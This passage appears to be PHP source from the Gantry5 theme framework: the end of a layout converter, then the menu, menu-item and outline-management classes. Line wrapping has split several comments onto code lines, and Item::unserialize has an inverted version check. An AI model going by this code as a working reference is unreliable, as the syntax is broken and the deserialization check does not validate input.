$id = 'position-' .
(isset($child['attributes']['key']) ?
$child['attributes']['key'] : rand(1000,9999));
unset
($child['attributes']['key']);
}
*/
unset
($child['attributes']['title']);
}
$value = $id;
if
(!empty($child['attributes']['enabled'])) {
unset
($child['attributes']['enabled']);
}
} else {
// Recursively handle structure.
$value = $this->build($child);
}
// Clean up defaults.
if (empty($child['title']) ||
$child['title'] === 'Untitled' ||
$child['title'] === $this->getTitle($type, $subtype, $id)) {
unset ($child['title']);
}
if (!$subtype || $subtype === $type) {
unset ($child['subtype']);
}
// Remove id and children as we store data in flat structure
with id being the key.
unset ($child['id'], $child['children']);
if ($type === 'offcanvas' &&
isset($child['attributes']['name'])) {
unset ($child['attributes']['name']);
}
if ($ctype === 'block') {
// Embed size into array key/value.
if
(isset($content['attributes']['size']) &&
$content['attributes']['size'] != 100) {
$size =
$content['attributes']['size'];
}
unset ($content['attributes']['size']);
// Embed parent block.
if (!empty($content['attributes'])) {
$child['block'] =
$content['attributes'];
unset ($content['attributes']);
}
}
if (isset($child['attributes']['size'])) {
if ($child['attributes']['size'] != 100
&& is_string($value)) {
$size =
$child['attributes']['size'];
}
unset ($child['attributes']['size']);
}
// Remove attributes if there aren't any.
if (empty($child['attributes'])) {
unset ($child['attributes']);
}
// Special handling for grid and block elements.
if (in_array($type, ['grid', 'block'])
&& count($child) === 1 && isset($child['type']))
{
$id = null;
}
// Check if type and subtype can be generated from the id.
if ($subtype &&
(preg_match("/^{$type}-{$subtype}(-|$)/", $id))
|| (in_array($type, ['section',
'particle']) &&
preg_match("/^{$subtype}(-|$)/", $id))) {
unset ($child['type'],
$child['subtype']);
} elseif (preg_match("/^{$type}(-|$)/", $id)) {
unset ($child['type']);
}
// Add item configuration if not empty.
if ($id && !empty($child)) {
if (!is_string($value)) {
$this->structure[$id] = $child;
} else {
$this->content[$id] = $child;
}
}
// Add item to the layout.
if (!is_string($value)) {
// Add structural item.
if ($id) {
// Sections and other complex items.
$id =
isset($child['attributes']['boxed']) ?
"/{$id}/" : $id;
$result[trim("{$id} {$size}")] = $value;
} elseif (!empty($value)) {
// Simple grid / block item.
$result[] = $value;
}
} else {
// Add content item.
$result[] = trim("{$value} {$size}");
}
}
// TODO: maybe collapse grid as well?
if ($ctype && in_array($ctype, ['block'])
&& count($result) <= 1 && key($result) === 0) {
unset ($this->structure[$content['id']]);
return reset($result) ?: null;
}
return $result;
}
/**
* @param string $string
* @return array
*/
protected function parseSectionString($string)
{
// Extract: "[section-id] [size]".
$list = explode(' ', $string, 2);
$section_id = array_shift($list);
$size = ((float) array_shift($list)) ?: null;
// Extract slashes from "/[section-id]/".
$boxedLeft = $section_id[0] === '/';
$boxedRight = $section_id[strlen($section_id)-1] === '/';
$boxed = ($boxedLeft && $boxedRight ? '' :
($boxedLeft ? '1' : ($boxedRight ? '0' : null)));
$section_id = trim($section_id, '/');
// Extract section id if it exists: "[section]-[id]".
$list = explode('-', $section_id, 2);
// Get section and its type.
$section = reset($list);
$type = (in_array($section, $this->sections)) ? $section :
'section';
$subtype = ($type !== 'section' || in_array($section,
$this->structures)) ? $section : 'section';
// Extract id.
if ($type == 'section' && in_array($section,
$this->structures)) {
$id = array_pop($list);
} else {
$id = $section_id;
}
return [$type, $subtype, $id, $size, $section_id, $boxed];
}
/**
* @param string $string
* @return array
*/
protected function parseContentString($string)
{
// Extract: "[type-subtype] [size]".
$list = explode(' ', $string, 2);
$content_id = array_shift($list);
$size = ((float) array_shift($list)) ?: null;
// Extract sub-type if it exists:
"[type]-[subtype]-[id]".
$list = explode('-', $content_id);
// Get type, subtype and id.
$type = reset($list);
$test = end($list);
$id = ((string)(int) $test === (string) $test) ? array_pop($list) :
null;
if (in_array($type, ['system', 'position',
'particle', 'spacer'])) {
array_shift($list);
} else {
$type = 'particle';
}
$subtype = implode('-', $list);
if ($type === 'position' && !in_array($subtype,
['module', 'widget'])) {
$id = ($subtype ?: $type) . ($id !== null ? "-{$id}"
: '');
$subtype = 'position';
}
return [$type, $subtype ?: $type, $id, $size, $content_id];
}
/**
* @param string $type
* @param string $subtype
* @param string $id
* @return string
*/
protected function getTitle($type, $subtype, $id)
{
if (in_array($type, $this->sections)) {
if ($type === 'offcanvas') {
return 'Offcanvas';
}
if ($type === 'grid' || $type === 'block')
{
return null;
}
return ucfirst((string)(int) $id === (string) $id ? ($subtype
?: $type) . "-{$id}" : $id);
}
if ($type === 'position' && !in_array($subtype,
['module', 'widget'])) {
return
ucfirst(preg_replace('/^position-(.*?[a-z])/ui', '\1',
$id));
}
if ($type === 'system') {
if ($subtype === 'messages') {
return 'System Messages';
}
if ($subtype === 'content') {
return 'Page Content';
}
}
return ucfirst($subtype ?: $type);
}
/**
* @param string $type
* @param string $subtype
* @param string $id
* @return string
*/
protected function id($type, $subtype = null, $id = null)
{
$result = [];
if ($type !== 'particle') {
$result[] = $type;
}
if ($subtype && $subtype !== $type) {
$result[] = $subtype;
}
$key = implode('-', $result);
if (!$id || isset($this->keys[$key][$id])) {
while ($id = rand(1000, 9999)) {
if (!isset($this->keys[$key][$id])) {
break;
}
}
}
$this->keys[$key][$id] = true;
return $key . '-'. $id;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Menu;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Gantry\GantryTrait;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccessWithGetters;
use RocketTheme\Toolbox\ArrayTraits\Countable;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
abstract class AbstractMenu implements \ArrayAccess, \Iterator, \Countable
{
use GantryTrait, ArrayAccessWithGetters, Iterator, Export, Countable;
protected $default;
protected $base;
protected $active;
protected $params;
protected $override = false;
protected $config;
/**
* @var array|Item[]
*/
protected $items;
/**
* @var Config|null
*/
protected $pathMap;
protected $defaults = [
'menu' => '',
'base' => '/',
'startLevel' => 1,
'maxLevels' => 0,
'showAllChildren' => true,
'highlightAlias' => true,
'highlightParentAlias' => true
];
abstract public function __construct();
/**
* Return list of menus.
*
* @return array
*/
abstract public function getMenus();
/**
* Return default menu.
*
* @return string
*/
public function getDefaultMenuName()
{
return null;
}
/**
* Returns true if the platform implements a Default menu.
*
* @return boolean
*/
public function hasDefaultMenu()
{
return false;
}
/**
* Return active menu.
*
* @return string
*/
public function getActiveMenuName()
{
return null;
}
/**
* Returns true if the platform implements an Active menu.
*
* @return boolean
*/
public function hasActiveMenu()
{
return false;
}
/**
* @param array $params
* @param Config $menu
* @return AbstractMenu
*/
public function instance(array $params = [], Config $menu = null)
{
$params = $params + $this->defaults;
$menus = $this->getMenus();
if (!$menus) {
throw new \RuntimeException('Site does not have
menus', 404);
}
if (empty($params['menu'])) {
$params['menu'] = $this->getDefaultMenuName();
if (!$params['menu'] &&
!empty($params['admin'])) {
// In admin just select the first menu if there isn't
default menu to be selected.
$params['menu'] = reset($menus);
};
} elseif ($params['menu'] == '-active-') {
$params['menu'] = $this->getActiveMenuName();
}
if (!$params['menu']) {
throw new \RuntimeException('No menu selected', 404);
}
if (!in_array($params['menu'], $menus)) {
throw new \RuntimeException('Menu not found', 404);
}
$instance = clone $this;
$instance->params = $params;
if ($menu) {
$instance->override = true;
$instance->config = $menu;
} else {
$instance->config = null;
}
$config = $instance->config();
$items = isset($config['items']) ?
$config['items'] : [];
// Create menu structure.
$instance->init($params);
// Get menu items from the system (if not specified otherwise).
if ($config->get('settings.type') !==
'custom') {
$instance->getList($params, $items);
}
// Add custom menu items.
$instance->addCustom($params, $items);
// Sort menu items.
$instance->sortAll();
return $instance;
}
/**
* Get menu configuration.
*
* @return Config
*/
public function config()
{
if (!$this->config) {
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$menu = $this->params['menu'];
$file =
CompiledYamlFile::instance($locator("gantry-config://menu/{$menu}.yaml"));
$this->config = new Config($file->content());
$this->config->def('settings.title',
ucfirst($menu));
$file->free();
}
return $this->config;
}
public function name()
{
return $this->params['menu'];
}
public function root()
{
return $this->offsetGet('');
}
public function ordering()
{
$list = [];
foreach ($this->items as $name => $item) {
$groups = $item->groups();
if (count($groups) == 1 && empty($groups[0])) {
continue;
}
$list[$name] = [];
foreach ($groups as $col => $children) {
$list[$name][$col] = [];
foreach ($children as $child) {
$list[$name][$col][] = $child->path;
}
}
}
return $list;
}
public function items($withdefaults = true)
{
$list = [];
foreach ($this->items as $key => $item) {
if ($key !== '') {
$list[$item->path] = $item->toArray($withdefaults);
}
}
return $list;
}
public function settings()
{
return (array) $this->config()->get('settings');
}
/**
* @return object
*/
public function getBase()
{
return $this->offsetGet($this->base);
}
/**
* @return object
*/
public function getDefault()
{
return $this->offsetGet($this->default);
}
/**
* @return object
*/
public function getActive()
{
return $this->offsetGet($this->active);
}
/**
* @return string|null
*/
public function getCacheId()
{
return $this->active ?: '-inactive-';
}
public function isActive($item)
{
$active = $this->getActive();
if ($active && $item && ($active->path ===
$item->path || strpos($active->path, $item->path . '/')
=== 0)) {
return true;
}
return false;
}
public function isCurrent($item)
{
$active = $this->getActive();
return $item && $active && $item->path ===
$active->path;
}
public function init(&$params)
{
$this->items = ['' => new Item($this, '',
['layout' => 'horizontal'])];
}
public function add(Item $item)
{
$this->items[$item->path] = $item;
// If parent exists, assign menu item to its parent; otherwise
ignore menu item.
if (isset($this->items[$item->parent_id])) {
$this->items[$item->parent_id]->addChild($item);
} elseif (!$this->items['']->count()) {
$this->items[$item->parent_id] =
$this->items[''];
$this->items[$item->parent_id]->addChild($item);
}
return $this;
}
/**
* Get menu items from the platform.
*
* @param int $levels
* @return array
*/
abstract protected function getItemsFromPlatform($levels);
/**
* Get base menu item.
*
* If itemid is not specified or does not exist, return active menu
item.
* If there is no active menu item, fall back to home page for the
current language.
* If there is no home page, return null.
*
* @param string $path
*
* @return string
*/
abstract protected function calcBase($path);
/**
* Get a list of the menu items.
*
* @param array $params
* @param array $items
*/
abstract public function getList(array $params, array $items);
/**
* Add custom menu items.
*
* @param array $params
* @param array $items
*/
public function addCustom(array $params, array $items)
{
$start = $params['startLevel'];
$max = $params['maxLevels'];
$end = $max ? $start + $max - 1 : 0;
$config = $this->config();
$type = $config->get('settings.type');
// Add custom menu elements.
foreach ($items as $route => $item) {
if ($type !== 'custom' &&
(!isset($item['type']) || $item['type'] !==
'particle')) {
continue;
}
$tree = explode('/', $route);
$parentTree = $tree;
array_pop($parentTree);
// Enabled state should equal particle setting.
$item['enabled'] =
!isset($item['options']['particle']['enabled'])
||
!empty($item['options']['particle']['enabled']);
$item['level'] = $level = count($tree);
$item['parent_id'] = implode('/',
$parentTree);
if (($start && $start > $level)
|| ($end && $level > $end)
// TODO: Improve. In the mean time Item::add() handles this
part.
// || ($start > 1 && !in_array($tree[$start -
2], $tree))
) {
continue;
}
$item = new Item($this, $route, $item);
$this->add($item);
}
}
/**
* @param array $ordering
* @param string $path
* @param array $map
*/
public function sortAll(array $ordering = null, $path = '',
$map = null)
{
if ($ordering === null) {
$config = $this->config();
$ordering = $config['ordering'] ?
$config['ordering'] : [];
}
if (!isset($this->items[$path]) ||
!$this->items[$path]->hasChildren()) {
return;
}
if ($map === null) {
$map = $this->pathMap ? $this->pathMap->toArray() :
[];
}
$order = [];
$newMap = [];
$item = $this->items[$path];
if ($this->isAssoc($ordering)) {
foreach ($ordering as $key => $value) {
if ($map) {
$newMap = isset($map[$key]['children']) ?
$map[$key]['children'] : [];
$key = isset($map[$key]['path']) ?
basename($map[$key]['path']) : $key;
$order[$key] = $value;
}
if (is_array($value)) {
$this->sortAll($value, $path ? $path . '/'
. $key : $key, $newMap);
}
}
$item->sortChildren($order ?: $ordering);
} else {
foreach ($ordering as $i => $group) {
foreach ($group as $key => $value) {
if ($map) {
$newMap = isset($map[$key]['children']) ?
$map[$key]['children'] : [];
$key = isset($map[$key]['path']) ?
basename($map[$key]['path']) : $key;
$order[$i][$key] = $value;
}
if (is_array($value)) {
$this->sortAll($value, $path ? $path .
'/' . $key : $key, $newMap);
}
}
}
$item->groupChildren($order ?: $ordering);
}
}
protected function isAssoc(array $array)
{
return (array_values($array) !== $array);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Menu;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccessWithGetters;
use RocketTheme\Toolbox\ArrayTraits\Export;
/**
* @property string $id
* @property string $type
* @property string $path
* @property string $alias
* @property string $title
* @property string $link
* @property string $parent_id
* @property string $layout
* @property int $browserNav
* @property bool $menu_text
* @property bool $visible
* @property int $group
* @property int $level
*/
class Item implements \ArrayAccess, \Iterator, \Serializable, \Countable
{
use ArrayAccessWithGetters, Export;
const VERSION = 1;
protected $items;
protected $menu;
protected $groups = [];
protected $children = [];
protected $url;
protected static $defaults = [
'id' => 0,
'type' => 'link',
'path' => null,
'alias' => null,
'title' => null,
'link' => null,
'parent_id' => null,
'layout' => 'list',
'target' => '_self',
'dropdown' => '',
'icon' => '',
'image' => '',
'subtitle' => '',
'hash' => '',
'class' => '',
'icon_only' => false,
'enabled' => true,
'visible' => true,
'group' => 0,
'columns' => [],
'level' => 0,
'link_title' => '',
'anchor_class' => ''
];
public function __construct(AbstractMenu $menu, $name, array $item =
[])
{
$this->menu = $menu;
$tree = explode('/', $name);
$alias = array_pop($tree);
$parent = implode('/', $tree);
// As we always calculate parent (it can change), prevent old one
from being inserted.
unset($item['parent_id']);
$this->items = $item + [
'id' => preg_replace('|[^a-z0-9]|i',
'-', $name) ?: 'root',
'path' => $name,
'alias' => $alias,
'title' => ucfirst($alias),
'link' => $name,
'parent_id' => $parent != '.' ? $parent
: '',
] + static::$defaults;
}
public function getDropdown()
{
if (!$this->items['dropdown']) {
return count($this->groups()) > 1 ? 'fullwidth'
: 'standard';
}
return $this->items['dropdown'];
}
public function serialize()
{
// FIXME: need to create collection class to gather the sibling
data.
return serialize([
'version' => static::VERSION,
'items' => $this->items,
'groups' => $this->groups,
'children' => $this->children,
'url' => $this->url
]);
}
public function unserialize($serialized)
{
// FIXME: need to create collection class to gather the sibling
data.
$data = unserialize($serialized);
if (!isset($data['version']) &&
$data['version'] === static::VERSION) {
throw new \UnexpectedValueException('Serialized data is
not valid');
}
$this->items = $data['items'];
$this->groups = $data['groups'];
$this->children = $data['children'];
$this->url = $data['url'];
}
/**
* @param string|null|bool $url
* @return string
*/
public function url($url = false)
{
if ($url !== false) {
$this->url = $url;
}
return $this->url;
}
/**
* @return AbstractMenu
* @deprecated Need to break relationship to the menu and use a
collection instead.
*/
protected function menu()
{
return $this->menu;
}
/**
* @return Item
*/
public function parent()
{
return $this->menu()[$this->items['parent_id']];
}
public function columnWidth($column)
{
if (isset($this->items['columns'][$column])) {
return $this->items['columns'][$column];
}
return 100 / count($this->groups());
}
public function groups()
{
if ($this->groups) {
$list = [];
foreach ($this->groups as $i => $group) {
$list[$i] = [];
foreach ($group as $path) {
$list[$i][] = $this->menu()[$path];
}
}
return $list;
}
return [$this->children()];
}
public function children()
{
$list = [];
foreach ($this as $child) {
$list[] = $child;
}
return $list;
}
public function hasChildren()
{
return !empty($this->children);
}
public function getGroup($i)
{
$groups = $this->groups();
$i = (int) $i;
return isset($groups[$i]) ? $groups[$i] : [];
}
public function update(array $data)
{
$this->items = array_replace($this->items, $data);
return $this;
}
public function addChild(Item $child)
{
$child->level = $this->level + 1;
$child->parent_id = $this->path;
$this->children[$child->alias] = $child->path;
return $this;
}
public function removeChild(Item $child)
{
unset($this->children[$child->alias]);
return $this;
}
public function sortChildren($ordering)
{
// Array with keys that point to the items.
$children =& $this->children;
if ($children) {
if (is_array($ordering)) {
// Remove extra items from ordering and reorder.
$children = array_replace(array_intersect_key($ordering,
$children), $children);
} else {
switch ((string) $ordering) {
case 'abc':
// Alphabetical ordering.
ksort($children, SORT_NATURAL);
break;
case 'cba':
// Reversed alphabetical ordering.
krsort($children, SORT_NATURAL);
break;
}
}
}
return $this;
}
public function reverse()
{
array_reverse($this->children, true);
array_reverse($this->groups, true);
return $this;
}
public function groupChildren(array $groups)
{
// Array with keys that point to the items.
$children =& $this->children;
if ($children) {
$menu = $this->menu();
$ordered = [];
// Create empty groups.
$this->groups = array_fill(0, max(1,
count($this->items['columns'])), []);
foreach ($groups as $i => $ordering) {
if (!is_array($ordering)) {
continue;
}
// Get the items for this group with proper ordering.
$group = array_replace(
array_intersect_key($ordering, $children),
array_intersect_key($children, $ordering)
);
// Assign each menu items to the group.
$group = array_map(
function($value) use ($i, $menu) {
$item = $menu[$value];
$item->group = $i;
return $value;
},
$group
);
// Update remaining children.
$children = array_diff_key($children, $ordering);
// Build child ordering.
$ordered += $group;
// Add items to the current group.
$this->groups[$i] = $group;
}
if ($children) {
// Add leftover children to the ordered list and to the
first group.
$ordered += $children;
$this->groups[0] += $children;
}
// Reorder children by their groups.
$children = $ordered;
}
return $this;
}
// Implements \Iterator
/**
* Returns the current child.
*
* @return Item
*/
public function current()
{
return $this->menu()[current($this->children)];
}
/**
* Returns the key of the current child.
*
* @return mixed Returns scalar on success, or NULL on failure.
*/
public function key()
{
return key($this->children);
}
/**
* Moves the current position to the next child.
*
* @return void
*/
public function next()
{
next($this->children);
}
/**
* Rewinds back to the first child.
*
* @return void
*/
public function rewind()
{
reset($this->children);
}
/**
* Count number of children.
*
* @return int
*/
public function count()
{
return count($this->children);
}
/**
* This method is called after Iterator::rewind() and Iterator::next()
to check if the current position is valid.
*
* @return bool Returns TRUE on success or FALSE on failure.
*/
public function valid()
{
return key($this->children) !== null;
}
/**
* Convert object into an array.
*
* @return array
*/
public function toArray($withDefaults = true)
{
$items = $this->items;
if (!$withDefaults) {
foreach (static::$defaults as $key => $value) {
if ($items[$key] === $value) {
unset($items[$key]);
}
}
}
return $items;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Outline;
use FilesystemIterator;
use Gantry\Component\Collection\Collection;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Layout\Layout;
use Gantry\Framework\Atoms;
use RocketTheme\Toolbox\DI\Container;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceIterator;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class OutlineCollection extends Collection
{
/**
* @var Container
*/
protected $container;
/**
* @var string
*/
protected $path;
/**
* @param Container $container
* @param array $items
*/
public function __construct(Container $container, $items = [])
{
$this->container = $container;
$this->items = $items;
}
/**
* @param string $id
* @return string|null
*/
public function name($id)
{
return isset($this->items[$id]) ? $this->items[$id] : null;
}
/**
* @param string $id
* @return string
*/
public function title($id)
{
return isset($this->items[$id]) ? $this->items[$id] : $id;
}
public function all()
{
return $this;
}
public function system()
{
foreach ($this->items as $key => $item) {
if (substr($key, 0, 1) !== '_') {
unset($this->items[$key]);
}
}
return $this;
}
public function user()
{
foreach ($this->items as $key => $item) {
if (substr($key, 0, 1) === '_' || $key ==
'default') {
unset($this->items[$key]);
}
}
return $this;
}
public function filter(array $include = null)
{
if ($include !== null) {
foreach ($this->items as $key => $item) {
if (!in_array($key, $include)) {
unset($this->items[$key]);
}
}
}
return $this;
}
/**
* Returns list of all positions defined in all outlines.
*
* @return array
*/
public function positions()
{
$list = [];
foreach ($this->items as $name => $title) {
try {
$index = Layout::index($name);
$list += $index['positions'];
} catch (\Exception $e) {
// Layout cannot be read. We will just skip it instead of
throwing an exception.
}
}
return $list;
}
/**
* @param string $section
* @param bool $includeInherited
* @return array
*/
public function getOutlinesWithSection($section, $includeInherited =
true)
{
$list = [];
foreach ($this->items as $name => $title) {
try {
$index = Layout::index($name);
} catch (\Exception $e) {
// Layout cannot be read. We will just skip it instead of
throwing an exception.
continue;
}
if (isset($index['sections'][$section])) {
if (!$includeInherited) {
foreach ($index['inherit'] as $outline =>
$items) {
if (is_array($items) && in_array($section,
$items)) {
continue 2;
}
}
}
$list[$name] = $title;
}
}
return $list;
}
/**
* @param string $particle
* @param bool $includeInherited
* @return array
*/
public function getOutlinesWithParticle($particle, $includeInherited =
true)
{
$list = [];
foreach ($this->items as $name => $title) {
try {
$index = Layout::index($name);
} catch (\Exception $e) {
// Layout cannot be read. We will just skip it instead of
throwing an exception.
continue;
}
if (isset($index['particles'][$particle])) {
$ids = $index['particles'][$particle];
if (!$includeInherited &&
!empty($index['inherit'])) {
foreach ($index['inherit'] as $items) {
foreach ((array) $items as $id => $inheritId) {
unset($ids[$id]);
}
}
}
if ($ids) {
$list[$name] = $title;
}
}
}
return $list;
}
/**
* @param string $type
* @param bool $includeInherited
* @return array
*/
public function getOutlinesWithAtom($type, $includeInherited = true)
{
$list = [];
foreach ($this->items as $name => $title) {
$file =
CompiledYamlFile::instance("gantry-theme://config/{$name}/page/head.yaml");
$index = $file->content();
$file->free();
if (isset($index['atoms'])) {
foreach ($index['atoms'] as $atom) {
if (!empty($atom['id']) &&
$atom['type'] === $type && ($includeInherited ||
empty($atom['inherit']))) {
$list[$name] = $title;
}
}
}
}
return $list;
}
/**
* @param string $particle
* @param bool $includeInherited
* @return array
*/
public function getAllParticleInstances($particle, $includeInherited =
true)
{
$list = [];
foreach ($this->items as $name => $title) {
$list += $this->getParticleInstances($name, $particle,
$includeInherited);
}
return $list;
}
/**
* @param string $outline
* @param string $particle
* @param bool $includeInherited
* @return array
*/
public function getParticleInstances($outline, $particle,
$includeInherited = true)
{
$list = [];
$index = Layout::index($outline);
if (isset($index['particles'][$particle])) {
$list = $index['particles'][$particle];
if (!$includeInherited &&
!empty($index['inherit'])) {
foreach ($index['inherit'] as $items) {
foreach ((array) $items as $id => $inheritId) {
unset($list[$id]);
}
}
}
}
$layout = Layout::instance($outline);
foreach ($list as $id => $title) {
$item = clone $layout->find($id);
$block = $layout->block($id);
$item->block = isset($block->attributes) ?
$block->attributes : new \stdClass();
$list[$id] = $item;
}
return $list;
}
/**
* @param string $outline
* @param string $type
* @param bool $includeInherited
* @return array
*/
public function getAtomInstances($outline, $type, $includeInherited =
true)
{
$list = [];
$file =
CompiledYamlFile::instance("gantry-theme://config/{$outline}/page/head.yaml");
$head = $file->content();
$file->free();
if (isset($head['atoms'])) {
foreach ($head['atoms'] as $atom) {
if (!empty($atom['id']) &&
$atom['type'] === $type && ($includeInherited ||
empty($atom['inherit']['outline']))) {
$list[$atom['id']] = (object) $atom;
}
}
}
return $list;
}
/**
* Return list of outlines which are inheriting the specified atom.
*
* @param string $outline
* @param string $id
* @return array
*/
public function getInheritingOutlinesWithAtom($outline, $id = null)
{
$list = [];
foreach ($this->items as $name => $title) {
$file =
CompiledYamlFile::instance("gantry-theme://config/{$name}/page/head.yaml");
$head = $file->content();
$file->free();
if (isset($head['atoms'])) {
foreach ($head['atoms'] as $atom) {
if
(!empty($atom['inherit']['outline']) &&
$atom['inherit']['outline'] == $outline &&
(!$id || $atom['inherit']['atom'] == $id)) {
$list[$name] = $title;
}
}
}
}
return $list;
}
/**
* Return list of outlines which are inheriting the specified outline.
*
* You can additionally pass section or particle id to filter the
results for only that type.
*
* @param string $outline
* @param string|array $id
* @return array
*/
public function getInheritingOutlines($outline, $id = null)
{
$list = [];
foreach ($this->items as $name => $title) {
try {
$index = Layout::index($name);
} catch (\Exception $e) {
// Layout cannot be read. We will just skip it instead of
throwing an exception.
continue;
}
if (!empty($index['inherit'][$outline]) &&
(!$id || array_intersect((array) $id,
$index['inherit'][$outline]))) {
$list[$name] = $title;
}
}
return $list;
}
/**
* Return list of outlines inherited by the specified outline.
*
* You can additionally pass section or particle id to filter the
results for only that type.
*
* @param string $outline
* @param string $id
* @return array
*/
public function getInheritedOutlines($outline, $id = null)
{
try {
$index = Layout::index($outline);
} catch (\Exception $e) {
// Layout cannot be read. We will just return nothing instead
of throwing an exception.
return [];
}
$list = [];
foreach ($index['inherit'] as $name => $inherited) {
if (!$id || array_intersect_key((array) $id, $inherited[$id]))
{
$list[$name] = isset($this->items[$name]) ?
$this->items[$name] : $name;
}
}
return $list;
}
/**
* @param int|string $id
* @return int|string
*/
public function preset($id)
{
return $id;
}
/**
* @param int|string $id
* @return Layout
*/
public function layout($id)
{
return Layout::load($id);
}
/**
* @param int|string $id
* @return array
*/
public function layoutPreset($id)
{
$layout = Layout::load($id);
$preset = $layout->preset;
unset($layout);
return $preset;
}
/**
* @param string $path
* @return $this
* @throws \RuntimeException
*/
public function load($path = 'gantry-config://')
{
$this->path = $path;
$iterator = $this->getFilesystemIterator($path);
$files = [];
/** @var FilesystemIterator $info */
foreach ($iterator as $name => $info) {
if (!$info->isDir() || $name[0] == '.' ||
!is_file($info->getPathname() . '/index.yaml')) {
continue;
}
$files[$name] = ucwords(trim(preg_replace(['|_|',
'|/|'], [' ', ' / '], $name)));
}
unset($files['default']);
unset($files['menu']);
asort($files);
$this->items = $this->addDefaults($files);
return $this;
}
/**
* @param string|null $id
* @param string $title
* @param string|array $preset
* @return string
* @throws \RuntimeException
*/
public function create($id, $title = null, $preset = null)
{
$title = $title ?: 'Untitled';
$name = ltrim(strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $id ?: $title)), '_');
if (!$name) {
throw new \RuntimeException("Outline needs a name",
400);
}
if ($name === 'default') {
throw new \RuntimeException("Outline cannot use reserved
name '{$name}'", 400);
}
$name = $this->findFreeName($name);
if (!$id) {
$title = ucwords(trim(preg_replace(['|_|',
'|/|'], [' ', ' / '], $name)));
}
if (!is_array($preset)) {
// Load preset.
$preset = Layout::preset($preset ?: 'default');
}
// Create layout and index for the new layout.
$layout = new Layout($name, $preset);
$layout->save()->saveIndex();
$this->items[$name] = $title;
return $name;
}
/**
* @param string $id
* @param string $title
* @param bool $inherit
* @return string
* @throws \RuntimeException
*/
public function duplicate($id, $title = null, $inherit = false)
{
if (!$this->canDuplicate($id)) {
throw new \RuntimeException("Outline '$id'
cannot be duplicated", 400);
}
$layout = Layout::load($id);
if ($inherit) {
$layout->inheritAll()->clean();
}
$new = $this->create(null, $title, $layout->toArray() +
['preset' => $layout->preset]);
if ($id === 'default') {
// For Base Outline we're done.
return $new;
}
/** @var UniformResourceLocator $locator */
$locator = $this->container['locator'];
$path =
$locator->findResource("{$this->path}/{$id}");
if (!$path) {
// Nothing to copy.
return $new;
}
$newPath =
$locator->findResource("{$this->path}/{$new}", true, true);
try {
// Copy everything over except index, layout and assignments.
Folder::copy($path, $newPath,
'/^(index|layout|assignments)\..*$/');
} catch (\Exception $e) {
throw new \RuntimeException(sprintf('Duplicating Outline
failed: ', $e->getMessage()), 500, $e);
}
return $new;
}
/**
* @param string $id
* @param string $title
* @return string
* @throws \RuntimeException
*/
public function rename($id, $title)
{
if (!$this->canDelete($id)) {
throw new \RuntimeException("Outline '$id'
cannot be renamed", 400);
}
$gantry = $this->container;
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$path =
$locator->findResource("{$this->path}/{$id}", true, true);
if (!$path || !is_dir($path)) {
throw new \RuntimeException('Outline not found',
404);
}
$folder = strtolower(preg_replace('|[^a-z\d_-]|ui',
'_', $title));
if ($folder === 'default' || $folder[0] ===
'_') {
throw new \RuntimeException("Outline cannot use reserved
name '{$folder}'", 400);
}
$newPath =
$locator->findResource("{$this->path}/{$folder}", true,
true);
if (is_dir($newPath)) {
throw new \RuntimeException("Outline '$id'
already exists.", 400);
}
try {
foreach ($this->getInheritingOutlines($id) as $outline =>
$title) {
$this->layout($outline)->updateInheritance($id,
$folder)->save()->saveIndex();
}
foreach ($this->getInheritingOutlinesWithAtom($id) as
$outline => $title) {
Atoms::instance($outline)->updateInheritance($id,
$folder)->save();
}
Folder::move($path, $newPath);
} catch (\Exception $e) {
throw new \RuntimeException(sprintf('Renaming Outline
failed: %s', $e->getMessage()), 500, $e);
}
$this->items[$id] = $title;
return $folder;
}
/**
* @param string $id
* @throws \RuntimeException
*/
public function delete($id)
{
if (!$this->canDelete($id)) {
throw new \RuntimeException("Outline '$id'
cannot be deleted", 400);
}
$gantry = $this->container;
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$path =
$locator->findResource("{$this->path}/{$id}", true, true);
if (!is_dir($path)) {
throw new \RuntimeException('Outline not found',
404);
}
foreach ($this->getInheritingOutlines($id) as $outline =>
$title) {
$this->layout($outline)->updateInheritance($id)->save()->saveIndex();
}
foreach ($this->getInheritingOutlinesWithAtom($id) as $outline
=> $title) {
Atoms::instance($outline)->updateInheritance($id)->save();
}
if (file_exists($path)) {
Folder::delete($path);
}
unset($this->items[$id]);
}
/**
* @param string $id
* @return boolean
*/
public function canDuplicate($id)
{
if (!isset($this->items[$id])) {
return false;
}
return true;
}
/**
* @param string $id
* @return boolean
*/
public function canDelete($id)
{
if (!$id || $id[0] === '_' || $id ===
'default') {
return false;
}
return true;
}
/**
* @param string $id
* @return boolean
*/
